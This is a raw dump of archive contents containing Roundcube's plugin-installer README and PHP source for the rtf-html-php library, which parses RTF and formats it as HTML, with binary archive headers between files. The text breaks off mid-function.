    ignoreErrors:
        # relax strict rules
        - '~^Only booleans are allowed in .+, .+ given( on the (left|right) side)?\.~'
        - '~^Construct empty\(\) is not allowed\. Use more strict comparison\.~'

        -
            message: '~^Constant RCMAIL_VERSION not found\.$~'
            path: 'src/ExtensionInstaller.php'
            count: 1
PK
h�\���P�	�	+vendor/roundcube/plugin-installer/README.mdnu�[���# Plugin Installer for Roundcube

This installer ensures that plugins and skins end up in the correct directory:

 * Plugins - `<roundcube-root>/plugins/plugin-name`
 * Skins - `<roundcube-root>/skins/skin-name`

## Minimum setup

 * create a `composer.json` file in your plugin's repository
 * add the following contents

### sample composer.json for plugins

    {
        "name": "<your-vendor-name>/<plugin-name>",
        "type": "roundcube-plugin",
        "license": "GPL-3.0-or-later",
        "require": {
            "roundcube/plugin-installer": ">=0.3.0"
        }
    }

### sample composer.json for skins

    {
        "name": "<your-vendor-name>/<skin-name>",
        "type": "roundcube-skin",
        "license": "GPL-3.0-or-later",
        "require": {
            "roundcube/plugin-installer": ">=0.3.0"
        }
    }

## Roundcube specific composer.json params

For both plugins and skins you can, optionally, add the following section to your `composer.json` file. All properties are optional and provided below with example values.
`persistent-files` defines a list of files which should be maintained across updates. By default only `config.inc.php` is maintained. The array should contain paths relative to the root of your plugin.

    "extra": {
        "roundcube": {
            "min-version": "1.4.0",
            "sql-dir": "./SQL",
            "post-install-script": "./bin/install.sh",
            "post-update-script": "./bin/update.sh",
            "persistent-files": ["config.inc.php", "skins/elastic/_custom.less"]
        }
    }

## Configuration

This installer will ask if you want to enable each plugin or skin as it is installed. To always enable all plugins or skins add `enable-plugin`/`enable-skin` to the `config` section in the `composer.json` in the root of your Roundcube directory.
When uninstalling packages Composer will not remove the folder. To remove the folder set `uninstall-remove-folder` in your config.

    "config": {
        "roundcube": {
            "enable-plugin": true,
            "enable-skin": true,
            "uninstall-remove-folder": true
        }
    }

## Repository

Submit your plugin or skin to [Packagist](https://packagist.org/).

## Installation

 * clone Roundcube
 * `cp composer.json-dist composer.json`
 * add your plugin in the `require` section of composer.json
 * `composer.phar install`

Read the whole story at [plugins.roundcube.net](http://plugins.roundcube.net/#/about/).
PK
h�\��o�,�,.vendor/roundcube/rtf-html-php/src/Document.phpnu�[���<?php 

namespace RtfHtmlPhp;

class Document
{
    /** @var ?string Current character in an RTF stream */
    protected $char;
    /** @var string RTF string being parsed */
    protected $rtf;
    /** @var int Current position in RTF string */
    protected $pos;
    /** @var int Length of RTF string */
    protected $len;
    /** @var ?Group Current RTF group */
    protected $group;
    /** @var array */
    protected $uc = [];

    /** @var ?Group Root group */
    public $root = null;

    /**
     * Object contructor
     *
     * @param string $rtf The RTF content
     */
    public function __construct($rtf)
    {
        $this->parse($rtf);
    }

    /**
     * Position on the next character from the RTF stream.
     * Parsing is aborted when reading beyond end of input string.
     *
     * @return void
     */
    protected function getChar()
    {
        $this->char = null;

        if ($this->pos < strlen($this->rtf)) {
            $this->char = $this->rtf[$this->pos++];
        } else {
            $err = "Parse error: Tried to read past end of input; RTF is probably truncated.";
            throw new \Exception($err);
        }
    }

    /**
     * (Helper method) Is the current character a letter?
     *
     * @return bool
     */
    protected function isLetter()
    {
        if (ord($this->char) >= 65 && ord($this->char) <= 90) {
            return true;
        }

        if (ord($this->char) >= 97 && ord($this->char) <= 122) {
            return true;
        }

        return false;
    }

    /**
     * (Helper method) Is the current character a digit?
     *
     * @return bool
     */
    protected function isDigit()
    {
        return (ord($this->char) >= 48 && ord($this->char) <= 57);
    }

    /**
     * (Helper method) Is the current character end-of-line (EOL)?
     *
     * @return bool
     */
    protected function isEndOfLine()
    {
        if ($this->char == "\r" || $this->char == "\n") {
            // Checks for a Windows/Acron type EOL
            if ($this->rtf[$this->pos] == "\n" || $this->rtf[$this->pos] == "\r") {
                $this->getChar();
            }

            return true;
        }

        return false;
    }

    /**
     * (Helper method) Is the current character for a space delimiter?
     *
     * @return bool
     */
    protected function isSpaceDelimiter()
    {
        return ($this->char == " " || $this->isEndOfLine());
    }

    /**
     * Store state of document on stack.
     *
     * @return void
     */
    protected function parseStartGroup()
    {
        $group = new Group();

        if ($this->group) {
            // Make the new group a child of the current group
            $group->parent = $this->group;

            array_push($this->group->children, $group);
            array_push($this->uc, end($this->uc));
        } else {
            // If there is no parent group, then set this group
            // as the root group.
            $this->root = $group;
            // Create uc stack and insert the first default value
            $this->uc = [1];
        }

        // Set the new group as the current group:
        $this->group = $group;
    }

    /**
     * Retrieve state of document from stack.
     *
     * @return void
     */
    protected function parseEndGroup()
    {
        $this->group = $this->group->parent;
        // Retrieve last uc value from stack
        array_pop($this->uc);
    }

    /**
     * Parse ControlWord element
     *
     * @return void
     */
    protected function parseControlWord()
    {
        // Read letters until a non-letter is reached.
        $word = '';
        $this->getChar();

        while ($this->isLetter()) {
            $word .= $this->char;
            $this->getChar();
        }

        // Read parameter (if any) consisting of digits.
        // Parameter may be negative, i.e., starting with a '-'
        $parameter = null;
        $negative = false;

        if ($this->char == '-') {
            $this->getChar();
            $negative = true;
        }

        while ($this->isDigit()) {
            if ($parameter === null) {
                $parameter = 0;
            }
            $parameter = $parameter * 10 + (int) $this->char;
            $this->getChar();
        }

        // If no parameter present, assume control word's default (usually 1)
        // If no default then assign 0 to the parameter
        if ($parameter === null) {
            $parameter = 1;
        }

        // Convert parameter to a negative number when applicable
        if ($negative) {
            $parameter = -$parameter;
        }

        // Update uc value
        if ($word == "uc") {
            array_pop($this->uc);
            $this->uc[] = $parameter;
        }

        // Skip space delimiter
        if (!$this->isSpaceDelimiter()) {
            $this->pos--;
        }

        // If this is \u, then the parameter will be followed 
        // by {$this->uc} characters.
        if ($word == "u") {
            // Convert parameter to unsigned decimal unicode
            if ($negative) {
                $parameter = 65536 + $parameter;
            }

            // Will ignore replacement characters $uc times
            $uc = end($this->uc);

            while ($uc > 0) {
                $this->getChar();
                // If the replacement character is encoded as
                // hexadecimal value \'hh then jump over it
                if ($this->char == "\\" && $this->rtf[$this->pos] == '\'') {
                    $this->pos = $this->pos + 3;
                } elseif ($this->char == '{' || $this->char == '{') {
                    // Break if it's an RTF scope delimiter
                    break;
                }

                // - To include an RTF delimiter in skippable data, it must be
                //   represented using the appropriate control symbol (that is,
                //   escaped with a backslash,) as in plain text.
                //
                // - Any RTF control word or symbol is considered a single character
                //   for the purposes of counting skippable characters. For this reason
                //   it's more appropriate to create a $skip flag and let the Parse()
                //   function take care of the skippable characters.
                $uc--;
            }
        }

        // Add new RTF word as a child to the current group.
        $rtfword = new ControlWord();
        $rtfword->word = $word;
        $rtfword->parameter = $parameter;
        array_push($this->group->children, $rtfword);
    }

    /**
     * Parse ControlSymbol element
     *
     * @return void
     */
    protected function parseControlSymbol()
    {
        // Read symbol (one character only).
        $this->getChar();
        $symbol = $this->char;

        // Exceptional case:
        // Treat EOL symbols as \par control word
        if ($this->isEndOfLine()) {
            $rtfword = new ControlWord();
            $rtfword->word = 'par';
            $rtfword->parameter = 0;
            array_push($this->group->children, $rtfword);
            return;
        }

        // Symbols ordinarily have no parameter. However,
        // if this is \' (a single quote), then it is
        // followed by a 2-digit hex-code:
        $parameter = 0;
        if ($symbol == '\'') {
            $this->getChar();
            $parameter = $this->char;
            $this->getChar();
            $parameter = hexdec($parameter . $this->char);
        }

        // Add new control symbol as a child to the current group:
        $rtfsymbol = new ControlSymbol();
        $rtfsymbol->symbol = $symbol;
        $rtfsymbol->parameter = $parameter;
        array_push($this->group->children, $rtfsymbol);
    }

    /**
     * Parse Control element
     *
     * @return void
     */
    protected function parseControl()
    {
        // Beginning of an RTF control word or control symbol.
        // Look ahead by one character to see if it starts with
        // a letter (control world) or another symbol (control symbol):
        $this->GetChar();
        $this->pos--; // (go back after look-ahead)

        if ($this->isLetter()) {
            $this->parseControlWord();
        } else {
            $this->parseControlSymbol();
        }
    }

    /**
     * Parse Text element
     *
     * @return void
     */
    protected function parseText()
    {
        // Parse plain text up to backslash or brace,
        // unless escaped.
        $text = '';
        $terminate = false;

        do {
            // Ignore EOL characters
            if ($this->char == "\r" || $this->char == "\n") {
                $this->getChar();
                continue;
            }
            // Is this an escape?
            if ($this->char == "\\") {
                // Perform lookahead to see if this
                // is really an escape sequence.
                $this->getChar();
                switch ($this->char) {
                case "\\":
                    break;
                case '{':
                    break;
                case '}':
                    break;
                default:
                    // Not an escape. Roll back.
                    $this->pos = $this->pos - 2;
                    $terminate = true;
                    break;
                }
            } elseif ($this->char == '{' || $this->char == '}') {
                $this->pos--;
                $terminate = true;
            }

            if (!$terminate) {
                // Save plain text
                $text .= $this->char;
                $this->getChar();
            }
        } while (!$terminate && $this->pos < $this->len);

        // Create new Text element:
        $text = new Text($text);

        // If there is no current group, then this is not a valid RTF file.
        // Throw an exception.
        if (!$this->group) {
            throw new \Exception("Parse error: RTF text outside of group.");
        }

        // Add text as a child to the current group:
        array_push($this->group->children, $text);
    }

    /**
     * Attempt to parse an RTF string.
     *
     * @param string $rtf RTF content
     *
     * @return void
     */
    protected function parse($rtf)
    {
        $this->rtf = $rtf;
        $this->pos = 0;
        $this->len = strlen($this->rtf);
        $this->group = null;
        $this->root = null;

        while ($this->pos < $this->len-1) {
            // Read next character:
            $this->getChar();

            // Ignore \r and \n
            if ($this->char == "\n" || $this->char == "\r") {
                continue;
            }

            // What type of character is this?
            switch ($this->char) {
            case '{':
                $this->parseStartGroup();
                break;
            case '}':
                $this->parseEndGroup();
                break;
            case "\\":
                $this->parseControl();
                break;
            default:
                $this->parseText();
                break;
            }
        }
    }

    /**
     * Returns string representation of the document for debug purposes.
     *
     * @return string
     */
    public function __toString()
    {
        if (!$this->root) {
            return "No root group";
        }

        return $this->root->toString();
    }
}
PK
h�\<mN���1vendor/roundcube/rtf-html-php/src/ControlWord.phpnu�[���<?php

namespace RtfHtmlPhp;

class ControlWord extends Element
{
    public $word;
    public $parameter;

    /**
     * Returns string representation of the object for debug purposes
     *
     * @param int $level Indentation level
     *
     * @return string
     */
    public function toString($level)
    {
        return str_repeat("  ", $level) . "WORD {$this->word} ({$this->parameter})\n";
    }
}
PK
h�\�ۗ>K
K
+vendor/roundcube/rtf-html-php/src/Group.phpnu�[���<?php

namespace RtfHtmlPhp;

class Group extends Element
{
    public $parent;
    public $children;

    /**
     * Create a new Group, with no parent and no children.
     */
    public function __construct()
    {
        $this->parent = null;
        $this->children = [];
    }

    /**
     * Returns group type
     *
     * @return string|null
     */
    public function getType()
    {
        // No children? Then the group type is null.
        if (count($this->children) == 0) {
            return null;
        }

        $child = $this->children[0];

        // If the first child is a control word, then
        // the group type is the word.
        if ($child instanceof ControlWord) {
            return $child->word;
        }

        // If the first child is a control symbol, then
        // the group type is * for a special symbol, or null.
        if ($child instanceof ControlSymbol) {
            return ($child->symbol == '*') ? '*' : null;
        }

        // If first child is neither word nor symbol, then
        // group type is null.
        return null;
    }

    /**
     * If a group contains a '*' symbol as its first child,
     * then it is a destination group.
     *
     * @return bool|null Group destination
     */
    public function isDestination()
    {
        // If group has no children, then destination is null.
        if (count($this->children) == 0) {
            return null;
        }

        $child = $this->children[0];

        // First child not a control symbol?
        if (!$child instanceof ControlSymbol) {
            return null;
        }

        return $child->symbol == '*';
    }

    /**
     * Returns string representation of the object for debug purposes
     *
     * @param int $level Indentation level
     *
     * @return string
     */
    public function toString($level = 0)
    {
        $str = str_repeat("  ", $level) .  "{\n";

        foreach ($this->children as $child) {
            /*
            // Skip some group types:
            if ($child instanceof Group) {
                if ($child->GetType() == "fonttbl") continue;
                if ($child->GetType() == "colortbl") continue;
                if ($child->GetType() == "stylesheet") continue;
                if ($child->GetType() == "info") continue;
                // Skip any pictures:
                if (substr($child->GetType(), 0, 4) == "pict") continue;
                if ($child->IsDestination()) continue;
            }
            */
            $str .= $child->toString($level + 1);
        }

        return $str . str_repeat("  ", $level) . "}\n";
    }
}
PK
h�\��wS�b�b8vendor/roundcube/rtf-html-php/src/Html/HtmlFormatter.phpnu�[���<?php

namespace RtfHtmlPhp\Html;

use RtfHtmlPhp\Document;

class HtmlFormatter
{
    protected $encoding;
    protected $defaultFont;
    protected $fromhtml = false;
    protected $openedTags = [];
    protected $output = '';
    protected $previousState;
    protected $rtfEncoding;
    protected $state;
    protected $states = [];

    /**
     * Object constructor.
     *
     * By default, HtmlFormatter uses HTML_ENTITIES for code conversion.
     * You can optionally support a different endoing when creating
     * the HtmlFormatter instance.
     *
     * @param string $encoding Output encoding
     */
    public function __construct($encoding = 'HTML-ENTITIES')
    {
        if (!extension_loaded('mbstring')) {
            throw new \Exception("PHP mbstring extension not enabled");
        }

        if ($encoding != 'HTML-ENTITIES') {
            // Check if the encoding is reconized by mbstring extension
            if (!in_array($encoding, mb_list_encodings())) {
                throw new \Exception("Unsupported encoding: $encoding");
            }
        }

        $this->encoding = $encoding;
    }

    /**
     * Generates HTML output for the document
     *
     * @param Document $document The document
     *
     * @return string HTML content
     */
    public function format(Document $document)
    {
        // Clear current output
        $this->output = '';

        // Keep track of style modifications
        $this->previousState = null;

        // and create a stack of states
        $this->states = [];

        // Put an initial standard state onto the stack
        $this->state = new State();
        array_push($this->states, $this->state);

        // Keep track of opened html tags
        $this->openedTags = ['span' => false, 'p' => null];

        // Begin format
        $this->processGroup($document->root);

        // Instead of removing opened tags, we close them
        $this->output .= $this->openedTags['span'] ? '</span>' : ''; // @phpstan-ignore-line
        $this->output .= $this->openedTags['p'] ? '</p>' : ''; // @phpstan-ignore-line

        // Remove extra empty paragraph at the end
        // TODO: Find the real reason it's there and fix it
        $this->output = preg_replace('|<p></p>$|', '', $this->output);

        return $this->output;
    }

    /**
     * Registers a font definition.
     *
     * @param \RtfHtmlPhp\Group $fontGroup A group element with a font definition
     *
     * @return void
     */
    protected function loadFont(\RtfHtmlPhp\Group $fontGroup)
    {
        $fontNumber = 0;
        $font = new Font();

        // Loop through children of the font group. The font group
        // contains control words with the font number and charset,
        // and a control text with the font name.
        foreach ($fontGroup->children as $child) {
            // Control word
            if ($child instanceof \RtfHtmlPhp\ControlWord) {
                switch ($child->word) {
                case 'f':
                    $fontNumber = $child->parameter;
                    break;

                // Font family names
                case 'froman':
                    $font->family = "serif";
                    break;
                case 'fswiss':
                    $font->family = "sans-serif";
                    break;
                case 'fmodern':
                    $font->family = "monospace";
                    break;
                case 'fscript':
                    $font->family = "cursive";
                    break;
                case 'fdecor':
                    $font->family = "fantasy";
                    break;

                // case 'fnil': break; // default font
                // case 'ftech': break; // symbol
                // case 'fbidi': break; // bidirectional font

                case 'fcharset': // charset
                    $font->charset = $this->getEncodingFromCharset($child->parameter);
                    break;
                case 'cpg': // code page
                    $font->codepage = $this->getEncodingFromCodepage($child->parameter);
                    break;
                case 'fprq': // Font pitch
                    $font->fprq = $child->parameter;
                    break;
                }
            }

            // Control text contains the font name, if any:
            if ($child instanceof \RtfHtmlPhp\Text) {
                // Store font name (except ; delimiter at end)
                $font->name = substr($child->text, 0, -1);
            }

            /*
            elseif ($child instanceof \RtfHtmlPhp\Group) {
                // possible subgroups:
                // '{\*' \falt #PCDATA '}' = alternate font name
                // '{\*' \fontemb <fonttype> <fontfname>? <data>? '}'
                // '{\*' \fontfile <codepage>? #PCDATA '}'
                // '{\*' \panose <data> '}'
                continue;
            } elseif ($child instanceof \RtfHtmlPhp\ControlSymbol) {
                // the only authorized symbol here is '*':
                // \*\fname = non tagged file name (only WordPad uses it)
                continue;
            }
            */
        }

        State::setFont($fontNumber, $font);
    }

    protected function extractFontTable($fontTblGrp)
    {
        // {' \fonttbl (<fontinfo> | ('{' <fontinfo> '}'))+ '}'
        // <fontnum><fontfamily><fcharset>?<fprq>?<panose>?
        // <nontaggedname>?<fontemb>?<codepage>? <fontname><fontaltname>? ';'

        // The Font Table group contains the control word "fonttbl" and some
        // subgroups. Go through the subgroups, ignoring the "fonttbl"
        // identifier.
        foreach ($fontTblGrp->children as $child) {
            // Ignore non-group, which should be the fonttbl identified word.
            if (!($child instanceof \RtfHtmlPhp\Group)) {
                continue;
            }

            // Load the font specification in the subgroup:
            $this->loadFont($child);
        }
    }

    protected function extractColorTable($colorTblGrp)
    {
        // {\colortbl;\red0\green0\blue0;}
        // Index 0 of the RTF color table  is the 'auto' color
        $colortbl = [];
        $c = count($colorTblGrp);
        $color = '';

        for ($i=1; $i<$c; $i++) { // Iterate through colors
            if ($colorTblGrp[$i] instanceof \RtfHtmlPhp\ControlWord) {
                // Extract RGB color and convert it to hex string
                $color = sprintf(
                    '#%02x%02x%02x', // hex string format
                    $colorTblGrp[$i]->parameter, // red
                    $colorTblGrp[$i+1]->parameter, // green
                    $colorTblGrp[$i+2]->parameter // blue
                );
                $i+=2;
            } elseif ($colorTblGrp[$i] instanceof \RtfHtmlPhp\Text) {
                // This is a delimiter ';' so
                if ($i != 1) { // Store the already extracted color
                    $colortbl[] = $color;
                } else { // This is the 'auto' color
                    $colortbl[] = 0;
                }
            }
        }

        State::$colortbl = $colortbl;
    }

    protected function extractImage($pictGrp)
    {
        $image = new Image();

        foreach ($pictGrp as $child) {
            if ($child instanceof \RtfHtmlPhp\ControlWord) {
                switch ($child->word) {
                // Picture Format
                case "emfblip":
                    $image->format = 'emf';
                    break;
                case "pngblip":
                    $image->format = 'png';
                    break;
                case "jpegblip":
                    $image->format = 'jpeg';
                    break;
                case "macpict":
                    $image->format = 'pict';
                    break;
                // case "wmetafile": $Image->format = 'bmp'; break;

                // Picture size and scaling
                case "picw":
                    $image->width = $child->parameter;
                    break;
                case "pich":
                    $image->height = $child->parameter;
                    break;
                case "picwgoal":
                    $image->goalWidth = $child->parameter;
                    break;
                case "pichgoal":
                    $image->goalHeight = $child->parameter;
                    break;
                case "picscalex":
                    $image->pcScaleX = $child->parameter;
                    break;
                case "picscaley":
                    $image->pcScaleY = $child->parameter;
                    break;

                // Binary or Hexadecimal Data ?
                case "bin":
                    $image->binarySize = $child->parameter;
                    break;
                }
            } elseif ($child instanceof \RtfHtmlPhp\Text) {
                // store Data
                $image->imageData = $child->text;
            }
        }

        // output Image
        $this->output .= $image->printImage();
    }

    protected function processGroup($group)
    {
        // Special group processing:
        switch ($group->getType()) {
        case "fonttbl": // Extract font table
            $this->extractFontTable($group);
            return;
        case "colortbl": // Extract color table
            $this->extractColorTable($group->children);
            return;
        case "stylesheet":
            // Stylesheet extraction not yet supported
            return;
        case "info":
            // Ignore Document information
            return;
        case "pict":
            $this->extractImage($group->children);
            return;
        case "nonshppict":
            // Ignore alternative images
            return;
        case "*": // Process destination
            $this->processDestination($group->children);
            return;
        }

        // Pictures extraction not yet supported
        // if (substr($group->GetType(), 0, 4) == "pict") { return; }

        // Push a new state onto the stack:
        $this->state = clone $this->state;
        array_push($this->states, $this->state);

        foreach ($group->children as $child) {
            $this->formatEntry($child);
        }

        // Pop state from stack
        array_pop($this->states);
        $this->state = $this->states[count($this->states) - 1];
    }

    protected function processDestination($dest)
    {
        if (!$dest[1] instanceof \RtfHtmlPhp\ControlWord) {
            return;
        }

        // Check if this is a Word 97 picture
        if ($dest[1]->word == "shppict") {
            $c = count($dest);
            for ($i = 2; $i < $c; $i++) {
                $this->formatEntry($dest[$i]);
            }
        } elseif ($dest[1]->word == "htmltag") {
            $c = count($dest);
            for ($i = 2; $i < $c; $i++) {
                $entry = $dest[$i];

                if ($entry instanceof \RtfHtmlPhp\Text) {
                    $this->output .= $entry->text;
                } else {
                    $this->formatEntry($entry);
                }
            }
        }
    }

    protected function formatEntry($entry)
    {
        if ($entry instanceof \RtfHtmlPhp\Group) {
            $this->processGroup($entry);
        } elseif ($entry instanceof \RtfHtmlPhp\ControlWord) {
            $this->formatControlWord($entry);
        } elseif ($entry instanceof \RtfHtmlPhp\ControlSymbol) {
            $this->formatControlSymbol($entry);
        } elseif ($entry instanceof \RtfHtmlPhp\Text) {
            $this->formatText($entry);
        }
    }

    protected function formatControlWord($word)
    {
        switch($word->word) {

        case 'fromhtml':
            $this->fromhtml = $word->parameter > 0;
            break;

        case 'htmlrtf':
            $this->state->htmlrtf = $word->parameter > 0;
            break;

        case 'plain': // Reset font formatting properties to default.
        case 'pard':  // Reset to default paragraph properties.
            $this->state->reset($this->defaultFont);
            break;

        // Font formatting properties:

        case 'b': // bold
            $this->state->bold = $word->parameter;
            break;
        case 'i': // italic
            $this->state->italic = $word->parameter;
            break;
        case 'ul': // underline
            $this->state->underline = $word->parameter;
            break;
        case 'ulnone': // no underline
            $this->state->underline = false;
            break;
        case 'strike': // strike-through
            $this->state->strike = $word->parameter;
            break;
        case 'v': // hidden
            $this->state->hidden = $word->parameter;
            break;
        case 'fs': // Font size
            $this->state->fontsize = ceil(($word->parameter / 24) * 16);
            break;
        case 'f': // Font
            $this->state->font = $word->parameter;
            break;
        case 'deff': // Store default font
            $this->defaultFont = $word->parameter;
            break;

         // Colors

        case 'cf':
        case 'chcfpat':
            $this->state->fontcolor = $word->parameter;
            break;
        case 'cb':
        case 'chcbpat':
            $this->state->background = $word->parameter;
            break;
        case 'highlight':
            $this->state->hcolor = $word->parameter;
            break;

        // Special characters

        case 'lquote':    $this->write($this->fromhtml ? "‘" : "&lsquo;"); break;  // &#145; &#8216;
        case 'rquote':    $this->write($this->fromhtml ? "’" : "&rsquo;"); break;  // &#146; &#8217;
        case 'ldblquote': $this->write($this->fromhtml ? "“" : "&ldquo;"); break;  // &#147; &#8220;
        case 'rdblquote': $this->write($this->fromhtml ? "”" : "&rdquo;"); break;  // &#148; &#8221;
        case 'bullet':    $this->write($this->fromhtml ? "•" : "&bull;");  break;  // &#149; &#8226;
        case 'endash':    $this->write($this->fromhtml ? "–" : "&ndash;"); break;  // &#150; &#8211;
        case 'emdash':    $this->write($this->fromhtml ? "—" : "&mdash;"); break;  // &#151; &#8212;
        case 'enspace':   $this->write($this->fromhtml ? " " : "&ensp;");  break;  // &#8194;
        case 'emspace':   $this->write($this->fromhtml ? " " : "&emsp;");  break;  // &#8195;
        case 'tab':       $this->write($this->fromhtml ? "\t" : "&nbsp;");  break;  // Character value 9
        case 'line':      $this->output .= $this->fromhtml ? "\n" : "<br/>"; break; // character value (line feed = &#10;) (carriage return = &#13;)

        // Unicode characters

        case 'u':
            $uchar = $this->decodeUnicode($word->parameter);
            $this->write($uchar);
            break;

        // Paragraphs

        case 'par':
        case 'row':
            if ($this->fromhtml) {
                $this->output .= "\n";
                break;
            }
            // Close previously opened tags
            $this->closeTags();
            // Begin a new paragraph
            $this->openTag('p');
            break;

        // Code pages

        case 'ansi':
        case 'mac':
        case 'pc':
        case 'pca':
            $this->rtfEncoding = $this->getEncodingFromCodepage($word->word);
            break;
        case 'ansicpg':
            if ($word->parameter) {
                $this->rtfEncoding = $this->getEncodingFromCodepage($word->parameter);
            }
            break;
        }
    }

    protected function decodeUnicode($code, $srcEnc = 'UTF-8')
    {
        $utf8 = false;

        if ($srcEnc != 'UTF-8') { // convert character to Unicode
            $utf8 = iconv($srcEnc, 'UTF-8', chr($code));
        }

        if ($this->encoding == 'HTML-ENTITIES') {
            return $utf8 !== false ? "&#{$this->ordUtf8($utf8)};" : "&#{$code};";
        }

        if ($this->encoding == 'UTF-8') {
            return $utf8 !== false ? $utf8 : mb_convert_encoding("&#{$code};", $this->encoding, 'HTML-ENTITIES');
        }

        return $utf8 !== false ? mb_convert_encoding($utf8, $this->encoding, 'UTF-8') :
            mb_convert_encoding("&#{$code};", $this->encoding, 'HTML-ENTITIES');
    }

    protected function write($txt)
    {
        // Ignore regions that are not part of the original (encapsulated) HTML content
        if ($this->state->htmlrtf) {
            return;
        }

        if ($this->fromhtml) {
            $this->output .= $txt;
            return;
        }

        if (!isset($this->openedTags['p'])) {
            // Create the first paragraph
            $this->openTag('p');
        }

        // Create a new 'span' element only when a style change occurs.
        // 1st case: style change occured
        // 2nd case: there is no change in style but the already created 'span'
        // element is somehow closed (ex. because of an end of paragraph)
        if (!$this->state->equals($this->previousState) || empty($this->openedTags['span'])) {
            // If applicable close previously opened 'span' tag
            $this->closeTag('span');

            $style = $this->state->printStyle();

            // Keep track of preceding style
            $this->previousState = clone $this->state;

            // Create style attribute and open span
            $attr = $style ? "style=\"{$style}\"" : "";
            $this->openTag('span', $attr);
        }

        $this->output .= $txt;
    }

    protected function openTag($tag, $attr = '')
    {
        // Ignore regions that are not part of the original (encapsulated) HTML content
        if ($this->fromhtml) {
            return;
        }

        $this->output .= $attr ? "<{$tag} {$attr}>" : "<{$tag}>";
        $this->openedTags[$tag] = true;
    }

    protected function closeTag($tag)
    {
        if ($this->fromhtml) {
            return;
        }

        if (!empty($this->openedTags[$tag])) {
            // Check for empty html elements
            if (substr($this->output, -strlen("<{$tag}>")) == "<{$tag}>") {
                switch ($tag) {
                case 'p': // Replace empty 'p' element with a line break
                    $this->output = substr($this->output, 0, -3) . "<br>";
                    break;
                default: // Delete empty elements
                    $this->output = substr($this->output, 0, -strlen("<{$tag}>"));
                    break;
                }
            } else {
                $this->output .= "</{$tag}>";
            }

            $this->openedTags[$tag] = false;
        }
    }

    /**
     * Closes all opened tags
     *
     * @return void
     */
    protected function closeTags()
    {
        // Close all opened tags
        foreach ($this->openedTags as $tag => $b) {
            $this->closeTag($tag);
        }
    }

    protected function formatControlSymbol($symbol)
    {
        if ($symbol->symbol == '\'') {
            $enc = $this->getSourceEncoding();
            $uchar = $this->decodeUnicode($symbol->parameter, $enc);
            $this->write($uchar);
        } elseif ($symbol->symbol == '~') {
            $this->write("&nbsp;"); // Non breaking space
        } elseif ($symbol->symbol == '-') {
            $this->write("&#173;"); // Optional hyphen
        } elseif ($symbol->symbol == '_') {
            $this->write("&#8209;"); // Non breaking hyphen
        } elseif ($symbol->symbol == '{') {
            $this->write("{"); // Non breaking hyphen
        }
    }

    protected function formatText($text)
    {
        // Convert special characters to HTML entities
        $txt = htmlspecialchars($text->text, ENT_NOQUOTES, 'UTF-8');
        if ($this->encoding == 'HTML-ENTITIES') {
            $this->write($txt);
        } else {
            $this->write(mb_convert_encoding($txt, $this->encoding, 'UTF-8'));
        }
    }

    protected function getSourceEncoding()
    {
        if (isset($this->state->font)) {
            if (isset(State::$fonttbl[$this->state->font]->codepage)) {
                return State::$fonttbl[$this->state->font]->codepage;
            }
            if (isset(State::$fonttbl[$this->state->font]->charset)) {
                return State::$fonttbl[$this->state->font]->charset;
            }
        }

        return $this->rtfEncoding;
    }

    /**
     * Convert RTF charset identifier into an encoding name (for iconv)
     *
     * @param int $charset Charset identifier
     *
     * @return string|null Encoding name or NULL on unknown CodePage
     */
    protected function getEncodingFromCharset($charset)
    {
        // maps windows character sets to iconv encoding names
        $map = array (
            0   => 'CP1252', // ANSI: Western Europe
            1   => 'CP1252', //*Default
            2   => 'CP1252', //*Symbol
            3   => null,     // Invalid
            77  => 'MAC',    //*also [MacRoman]: Macintosh
            128 => 'CP932',  //*or [Shift_JIS]?: Japanese
            129 => 'CP949',  //*also [UHC]: Korean (Hangul)
            130 => 'CP1361', //*also [JOHAB]: Korean (Johab)
            134 => 'CP936',  //*or [GB2312]?: Simplified Chinese
            136 => 'CP950',  //*or [BIG5]?: Traditional Chinese
            161 => 'CP1253', // Greek
            162 => 'CP1254', // Turkish (latin 5)
            163 => 'CP1258', // Vietnamese
            177 => 'CP1255', // Hebrew
            178 => 'CP1256', // Simplified Arabic
            179 => 'CP1256', //*Traditional Arabic
            180 => 'CP1256', //*Arabic User
            181 => 'CP1255', //*Hebrew User
            186 => 'CP1257', // Baltic
            204 => 'CP1251', // Russian (Cyrillic)
            222 => 'CP874',  // Thai
            238 => 'CP1250', // Eastern European (latin 2)
            254 => 'CP437',  //*also [IBM437][437]: PC437
            255 => 'CP437', //*OEM still PC437
        );

        if (isset($map[$charset])) {
            return $map[$charset];
        }

        return null;
    }

    /**
     * Convert RTF CodePage identifier into an encoding name (for iconv)
     *
     * @param string $cpg CodePage identifier
     *
     * @return string|null Encoding name or NULL on unknown CodePage
     */
    protected function getEncodingFromCodepage($cpg)
    {
        $map = array (
            'ansi' => 'CP1252',
            'mac'  => 'MAC',
            'pc'   => 'CP437',
            'pca'  => 'CP850',
            437 => 'CP437', // United States IBM
            708 => 'ASMO-708', // also [ISO-8859-6][ARABIC] Arabic
            /*  Not supported by iconv
            709, => '' // Arabic (ASMO 449+, BCON V4)
            710, => '' // Arabic (transparent Arabic)
            711, => '' // Arabic (Nafitha Enhanced)
            720, => '' // Arabic (transparent ASMO)
            */
            819 => 'CP819',   // Windows 3.1 (US and Western Europe)
            850 => 'CP850',   // IBM multilingual
            852 => 'CP852',   // Eastern European
            860 => 'CP860',   // Portuguese
            862 => 'CP862',   // Hebrew
            863 => 'CP863',   // French Canadian
            864 => 'CP864',   // Arabic
            865 => 'CP865',   // Norwegian
            866 => 'CP866',   // Soviet Union
            874 => 'CP874',   // Thai
            932 => 'CP932',   // Japanese
            936 => 'CP936',   // Simplified Chinese
            949 => 'CP949',   // Korean
            950 => 'CP950',   // Traditional Chinese
            1250 => 'CP1250',  // Windows 3.1 (Eastern European)
            1251 => 'CP1251',  // Windows 3.1 (Cyrillic)
            1252 => 'CP1252',  // Western European
            1253 => 'CP1253',  // Greek
            1254 => 'CP1254',  // Turkish
            1255 => 'CP1255',  // Hebrew
            1256 => 'CP1256',  // Arabic
            1257 => 'CP1257',  // Baltic
            1258 => 'CP1258',  // Vietnamese
            1361 => 'CP1361', // Johab
        );

        if (isset($map[$cpg])) {
            return $map[$cpg];
        }

        return null;
    }

    protected function ordUtf8($chr)
    {
        $ord0 = ord($chr);
        if ($ord0 <= 127) {
            return $ord0;
        }

        $ord1 = ord($chr[1]);
        if ($ord0 >= 192 && $ord0 <= 223) {
            return ($ord0 - 192) * 64 + ($ord1 - 128);
        }

        $ord2 = ord($chr[2]);
        if ($ord0 >= 224 && $ord0 <= 239) {
